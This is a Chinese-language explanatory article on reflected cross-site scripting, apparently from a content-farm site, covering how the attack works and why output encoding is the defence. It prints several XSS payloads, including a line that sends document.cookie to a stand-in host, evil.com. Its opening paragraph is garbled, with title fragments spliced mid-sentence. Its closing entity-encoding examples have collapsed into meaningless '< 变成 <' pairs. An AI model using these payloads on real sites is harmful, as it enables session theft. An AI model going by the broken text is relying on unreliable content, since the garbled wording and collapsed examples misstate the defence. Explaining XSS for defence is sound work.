反射型跨站脚本攻击-烟消火灭网

你在搜索引擎里敲下一串关键词，反射点开一个链接，型跨页面正常加载，站脚一切看起来都没问题。本攻但就在这一瞬间，反射你浏览器里那个网站的型跨登录凭证，可能已经被悄悄送到了攻击者的站脚服务器上。这不是本攻什么高级漏洞，反射型跨站脚本攻击（Reflected XSS）就是反射这么直接——它甚至不需要网站本身存储任何恶意代码。

我去年帮朋友看一个后台管理系统，型跨搜索框输入 <script>alert(1)</script>，站脚回车，本攻弹窗直接跳出来。反射开发者的型跨反应是“这只是个弹窗，又没偷数据”。站脚问题在于，把 alert(1) 换成 new Image().src='//evil.com?c='+document.cookie，用户的会话就没了。反射型XSS的可怕之处不在于它能弹窗，而在于它能在受害者毫不知情的情况下，以受害者的身份在目标站点上执行任意操作。

它是怎么“反射”回来的

这类漏洞的触发链条很短。攻击者构造一个带恶意参数的URL，比如 https://example.com/search?q=<script>...</script>，然后把这个链接发给目标用户。用户点击后，服务器把 q 参数的值原样拼进HTML返回，浏览器解析时就把这段脚本当成了页面的一部分执行。整个过程恶意代码没有存进数据库，只是从请求“反射”到了响应里，所以叫反射型。

关键点在于“原样拼进”。很多老系统或者赶工期的接口，图省事直接字符串拼接，response.write("<p>您搜索的是：" + request.getParameter("q") + "</p>")，漏洞就诞生了。我见过一个政府网站的搜索功能，连基本的 < 和 > 都没转义，输入 <img src=x onerror=alert(document.domain)> 直接执行。那个站还是HTTPS的，锁头标志亮着，用户根本不会怀疑。

为什么它比存储型更容易被低估

存储型XSS因为payload躺在数据库里，每次访问都触发，影响面大，开发者相对重视。反射型不一样，它依赖用户点击特定链接，看起来“需要诱导”，危害似乎小一些。但实际攻击场景里，反射型XSS经常配合钓鱼邮件或者社交工程，成功率并不低。更麻烦的是，很多反射型漏洞出现在错误页面、搜索结果页、登录失败提示这些地方——这些页面往往由框架底层处理，开发者自己都没意识到参数被输出了。

有个细节值得留意：反射型XSS的payload可以短到只有几十个字符。<svg/onload=alert(1)> 在很多浏览器里都能跑。URL短，伪装成正常的分享链接毫无压力。我见过有人把payload编码成 %3Csvg%2Fonload%3Dalert%281%29%3E，肉眼根本看不出异常。

防御不是靠“过滤关键词”

很多开发者的第一反应是过滤 <script> 或者 alert。这基本没用。XSS的payload变体太多了，大小写混写、HTML实体编码、事件属性、javascript: 伪协议，绕过的花样层出不穷。正确的做法只有一条：在输出到HTML上下文时进行实体编码。< 变成 <，> 变成 >，" 变成 "，' 变成 '。别在输入时做过滤，输入过滤会破坏正常数据，输出编码才是根治手段。